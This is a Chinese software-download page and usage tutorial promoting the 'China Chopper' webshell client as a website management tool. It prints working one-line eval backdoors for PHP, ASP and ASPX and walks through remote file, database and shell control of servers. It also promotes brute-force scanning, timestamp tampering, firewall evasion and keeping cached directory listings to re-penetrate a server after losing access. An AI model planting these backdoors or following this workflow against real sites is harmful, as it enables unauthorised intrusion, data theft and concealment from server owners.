黑客工具中國菜刀是一款非常實用的網站管理軟件，無需安裝就能幫助你管理自己打開的網站，還能設置虛擬終端，管理你的數據庫，體積小不占內存！感興趣的小伙伴快來體驗吧！

中國菜刀軟件內容介紹

中國菜刀官方版是綠色無需安裝的網絡管理軟件。它功能強大，其功能相當于ftp軟件，并且隱蔽性非常的高，使用簡單，小白也能輕松搞定。支持多種語言，可鏈接腳本是:php，asp，jsp，aspx。中國菜刀適合批量webshell網站，只需配置好，以后方便每次使用，批量的用戶必備。有需要的趕緊來下載吧。

中國菜刀電腦版特色細節

1.中國菜刀支持的服務端腳本：php、asp；

2.主中國菜刀要功能有：文件管理，數據庫管理，虛擬終端。

文件管理

有足夠的權限時候可以管理整個磁盤/文件系統，

數據庫管理

這個是中國菜刀最最強大的功能，支持mysql,mssql,oracle,infomix,access等等數據庫，支持不是最主要的，功能強大，人性化才是最主要的

“菜刀”的數據庫操作界面，內置了常用的數據庫語句，非常直觀的表列名瀏覽功能，自動顯示表名，列名，查詢語句，非常人性化的設計，更內置了不少自建的函數，方便不懂數據庫的菜鳥，都能查閱數據庫里的數據

再說個“菜刀”數據庫管理的一個小技巧，對于access數據庫，可以在中國菜刀的webshell操作界面，對著mdb文件點右鍵，點access management，就直接進入access的數據庫操作界面了，特別方便

虛擬終端

模擬的windowns下的cmd命令窗口如果服務器是linux那么就是shell窗口。

中國菜刀使用教程

1.常見的管理

右鍵空白處->添加

添加shell -> 進行相關的配置。

我的配置：

地址： http://localhost/a.php

密碼：key

腳本類型：php

最后

->點擊添加

相關的介紹：

這里的

webshell是我們常說的一句話木馬：

php一句話木馬：<?php @eval($_post['key']);?>

asp一句話木馬：<%eval request['key']%>

aspx一句話木馬：<%@ page language="jscript"%><%eval(request.item["key"],"unsafe");%>

眼尖的童鞋已經看到了三個里面都帶有

key這個單詞，沒錯這個就是密碼，大家可以自行修改為自己使用的密碼。

文件管理：

打開方式 [右鍵webshell->單擊文件管理]

管理方式 [右鍵上圖中方框內的任何區域進行管理]

數據庫管理：

打開方式 [右鍵webshell->數據庫管理]

可以看到是空白的，這時候就需要配置數據庫信息了。

配置方式1.[單擊配置]

出現了一個配置窗口。(前提你要有網站數據庫的配置信息才可以進行配置)

我的配置信息：

數據庫類型：mysql

用戶名：root

密碼：root

配置方式 2.[選擇數據庫]

可以看到紅色方框那邊有mysql、mssql、mssql2、oracle等數據庫類型。

我是mysql的就選擇mysql的示例：

配置后 [單擊提交]：

管理方式：

虛擬終端：

打開方式 [右鍵webshell->單擊虛擬終端]

紅色方框里是系統的一些信息。我們在d:\www>后面輸入相應的cmd命令即可(linux就輸入shell命令)

2.網站掃描

打開方式 [單擊菜刀圖標->單擊網站掃描]

(也可以在軟件里使用快捷鍵alt+k去打開)

使用方法：

把http://www.http://maicaidao.com替換成自己的測試站點即可。

功能：

1.反向ip(reverse_ip)

2.爬蟲(spider)

3.爆破(crack)

其他按照這些提示都應該能懂就不一一去說了。

3.瀏覽器功能

打開方法如圖示意。

對著網頁進行右擊：

上圖是一些瀏覽器方面的功能。

單擊擴展功能:

可以進行cookie的修改。

同時也可以單擊菜刀圖標->瀏覽器：

可以進行選擇：

代表開啟 可以單擊進行取消開啟。

4.其他功能

第一：設置菜刀啟動密碼(防止自己的webshell泄露出去)

打開方式 [單擊菜刀圖標->單擊設置啟動密碼]

點擊是，就成功設置密碼為test。

然后我們關掉菜刀再打開菜刀：

輸入我們的密碼再可以設置新的密碼：

我相信著點英語難不倒各位也不解釋了。

也可以把啟動密碼取消掉：

亮點優勢

中國菜刀的文件管理功能非常人性化，文件夾和文件的圖標完全模枋windows

文件日期，文件大小，文件權限，一目了然

尤其是修改文件時間功能，非常的方便

直接對著要修改時間的文件點右鍵,modify the file time，然后在文件的時間那欄，輸入時間，回車，就修改完了

當然，菜刀的文件管理還有新建，刪除，上傳，下載，編輯功能，這些大同小異，就不一一細說了

不過有個功能，還是要重點說明的，那就是目錄緩存功能

菜刀可以把瀏覽過的webshell目錄都緩存在本地，這樣可以方便下次訪問的時候更加快捷

最重要的是，當哪天你的權限丟了，起碼你還有對方服務器的文件目錄結構，方便再一次滲透

主要功能

只要支持動態腳本的網站，都可以用中國菜刀來進行管理！主要功能有：文件管理，虛擬終端，數據庫管理。

uincode方式編譯，支持多國語言輸入顯示。

一、eval客戶端部分

1）要了解的

服務端只需要簡單的一行代碼，即可用此程序實現常用的管理功能。

支持的服務端腳本：php, asp，.net。

在服務端運行的代碼如下：

php: <?php @eval($_post['pass']);?>

asp: <%eval request("pass")%>

.net: <%@ page language="jscript"%><%eval(request.item["pass"],"unsafe");%>

(注意: .net要單獨一個文件或此文件也是jscript語言)

2）怎么用

在主視圖中右鍵/添加，在彈出的對話框中輸入服務端地址，連接的密碼(請注意上例中的pass字串)，選擇正確的腳本類型和語言編碼，保存后即可使用文件管理，虛擬終端，數據庫管理三大塊功能。要是其它都沒錯誤，那么可能就是你把語言編碼選錯了。

1. 文件管理：[特色]緩存下載目錄，并支持離線查看緩存目錄;

2.虛擬終端：[特色]人性化的設計，操作方便;(輸入help查看更多用法)

3.數據庫管理：[特色]圖形界面,支持mysql,mssql,oracle,infomix,access

以入支持ado方式連接的數據庫。

(各種腳本條件下的數據庫連接方法請點擊數據庫管理界面左上角處的配置按鈕查看)

注意：由于服務器的安全設置，某些功能可能不能正常使用。

3) 關于配置信息怎么填？

a) 數據庫方面：

php腳本：

<t>類型</t> 類型可為mysql,mssql,oracle,infomix中的一種

<h>主機地址<h> 主機地址可為機器名或ip地址，如localhost

<u>數據庫用戶</u> 連接數據庫的用戶名，如root

<p>數據庫密碼</p> 連接數據庫的密碼，如123455

asp和.net腳本：

<t>類型</t> 類型只能填ado

<c>ado配置信息</c>

ado連接各種數據庫的方式不一樣。如mssql的配置信息為

driver={sql server};server=(local);database=master;uid=sa;pwd=123456

b) 其它方面：

添加額外附加提交的數據：應付這種情況：if ($_post['action']=='test'){@eval($_post['pass']);}

<o>action=test</o>

提交功能前先post額外的數據包：會話期間只提交一次。

<data>uid=user1&pwd=123456</data>

二、網站蜘蛛

織出一張網站的目錄結構。

下載的列表文件存在桌面，右鍵菜單/載入url列表即可以根據地址得到目錄結構。

三、定時提醒

當鬧鐘事使吧, 周期：每月/每周/每日/只一次。

四、快速啟動

一些常用的快捷方式放在這里，可以指定用戶身份運行程序。這部分數據是以加密存儲的。

五、瀏覽器

地址欄輸入help，更多精彩后續加入。

六、其它部分

等待加入。

附帶工具

update.exe是wsc.exe的數據庫wscdb遷移到菜刀的一個小工具。

把wscdb文件整到當前目錄，運行update.exe得到新的數據庫文件caidao.mdb

把菜刀的數據庫db.mdb替換掉即可。

編輯測評

中國菜刀是可遠程鏈接webshell的工具，只要支持動態腳本的網站，都可以用中國菜刀來進行管理！軟件已將發送封包加密已可過各種防火墻，白帽子首選軟件!

更新日志

對軟件功能進一步完善，bug修復。